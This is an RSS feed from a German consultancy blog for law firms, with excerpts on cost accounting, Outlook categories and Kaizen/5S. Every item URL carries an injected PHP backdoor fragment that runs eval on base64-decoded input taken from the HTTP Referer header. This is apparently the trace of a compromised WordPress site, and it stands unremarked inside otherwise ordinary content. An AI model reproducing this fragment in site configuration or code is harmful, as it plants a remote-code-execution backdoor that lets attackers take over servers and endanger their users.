http://www.treysse.com Unternehmensberatung speziell für Rechtsanwälte und Notare Mon, 08 Mar 2010 14:11:59 +0000 http://backend.userland.com/rss092 en Nicht aus der Finanzbuchhaltung können Sie die kalkulatorischen Kosten ersehen, wie z. B. kalkulatorischer Mietzins kalkulatorischer Unternehmerlohn kalkulatorische Abschreibung kalkulatorische Zinsen Kalkulatorischer Mietzins Dieser kommt immer dann zum Einsatz, wenn im Privateigentum stehende Räumlichkeiten genutzt werden (Kanzlei im eigenen Haus etc.) und bemisst sich an dem Aufwand, der für Räume gleicher Größe und Qualität durch eine Fremdmiete ... http://www.treysse.com/2010/03/08/finanzbuchhaltung-und-kosten-u-leistungsrechnung-teil-iv/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In Teil II haben wir bei den Kostenarten insbesondere auch die Personalkosten angesprochen. Da hierunter verschiedene Kostenansätze verstanden werden, möchte ich kurz darauf eingehen. In der amtlichen Stastik werden die Arbeitskosten wie folgt zugrunde gelegt: Entgelt für geleistete Arbeit (Direktentgelt) + Entgelt für arbeitsfreie Tage (Urlaub, Krankheit, gesetzliche Feiertage, Sonderurlaub etc.) + Sonderzahlungen (13. ... http://www.treysse.com/2010/03/01/finanzbuchhaltung-und-kosten-u-leistungsrechnung-teil-iii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Nachdem wir uns in Teil 1 mit der Begrifflichkeit der Kosten- u. Leistungsrechnung befasst haben, wollen wir mit den Vorbereitungen beginnen. Hierzu gehört erst einmal die Feststellung der Kostenarten, die in einer Rechtsanwaltskanzlei überlicherweise vorkommen: Personalkosten Gehälter, Löhne Sozialabgaben freiwillige Zusatzleistungen Raumkosten Miete Kalkulatorische Mietkosten bei Eigennutzung von Eigentum zu Kanzleizwecken Nebenkosten Renovierungs- u. Umzugkosten, Instantsetzungskosten etc. Sachkosten Betriebs- u. Geschäftsausstattung Kalkulatorische Zinsen und ... http://www.treysse.com/2009/10/17/finanzbuchhaltung-u-kosten-u-leistungsrechnung-ii/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Während im Rahmen der Finanzbuchhaltung das steuerliche Gesamtergebnis einer Kanzlei ermittelt werden kann, ist die Kosten- u. Leistungsrechnung das Werkzeug, welches den Kanzleiinhaber oder das Management in die Lage versetzt, Kosten- u. Leistungsinformationen zu erhalten, die wiederum die Grundlage für die Planung der zukünftigen Geschäftsentwickung sein können. Sie dient unter anderem der Wirtschaftlichkeitsberechnung der ... http://www.treysse.com/2009/10/11/finanzbuchhaltung-und-kosten-u-leistungsrechnung/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Bisher haben wir uns Gedanken darüber gemacht, welche Kategorien sinnvoll sind und diese Kategorien angelegt. Jetzt soll es darum gehen, wo wir diese Kategorien anwenden können und welchen Vorteil uns dieses bringt. Wenn Sie z. B. Ihre Fristenverwaltung über Outlook führen, haben Sie nunmehr die Möglichkeit, jede Aufgabe (hier wäre die ... http://www.treysse.com/2009/03/08/outlook-in-der-anwaltskanzlei-kategorien-teil-4/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Nachdem Sie sich darüber klar geworden sind, welche Kategorien Sie benötigen, geht es jetzt darum, diese Kategorien anzulegen. Ich unterstelle für die nachfolgenden Hinweise die Nutzung von Outlook 2007. Bei den Vorversionen haben Sie ebenfalls die Möglichkeit Kategorien anzulegen und zu nutzen. Klicken Sie in der Symbolleiste von Outlook auf das ... http://www.treysse.com/2009/02/23/outlook-in-der-anwaltskanzlei-kategorien-teil-3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Um Kategorien nutzen zu können, sollten diese vor Beginn eingerichtet werden. Selbstverständlich ist es möglich, jederzeit neue Kategorien hinzuzufügen. Welche Kategorien wären in einer Anwaltskanzlei wohl sinnvoll, einmal unterstellt, Sie arbeiten ohne Anwaltsprogramm und führen Ihre Aktenverwaltung ausschließlich über Outlook? Hier kommt es auf die Art der Elemente an, die Sie ... http://www.treysse.com/2009/02/16/outlook-in-der-anwaltskanzlei-kategorien-teil-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ In praktisch jeder Anwaltskanzlei ist heute Outlook von Microsoft installiert. Leider ist in Beratungsgesprächen immer wieder festzustellen, dass Outlook nicht umfassend genutzt wird. Möglichkeiten der Organisation, Verschlankung von Workflow etc. werden nicht genutzt. Vielfach ist festzustellen, dass für jeden gedachten Sonderfall oder für jedes Projekt oder Mandat Unterordner angelegt werden in ... http://www.treysse.com/2009/02/09/outlook-in-der-anwaltskanzlei-kategorien-teil-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Shitsuke Dieses ist der letzte Punkt der fünfstufigen Vorgehensweise (5 S-Bewegung). Dieser beinhaltet Erhaltung der geschaffenen Ordnung Sauberkeit des Arbeitsumfeldes Einhaltung des geschaffenen Standards wobei der letzte Punkt nicht ein "Verharren" auf dem einmal Geschaffenen meint, sondern sehrwohl der Gedanke der stetigen Verbesserung weiterhin im Vordergrund steht. http://www.treysse.com/2009/02/02/kaizen-in-der-anwaltskanzlei-teil-7/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Seiketsu Seiketsu ist eigentlich ein Hilfsmittel zur Gestaltung und Einhaltung der "5S", wie man so treffend die fünfstufige Herangehensweise zur Planung und Verbesserung von ordentlichen (Seiri /Seiton), sauberen (Seiso) und gut organisierten bzw. standardisierten Arbeitsplätzen bezeichnet. Seiketsu beschäftigt sich mit der Standardisierung der Arbeitsplätze, wobei Arbeitsplazt auch im weiterläufigen Sinne zu sehen ... http://www.treysse.com/2009/01/26/kaizen-in-der-anwaltskanzlei-teil-6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/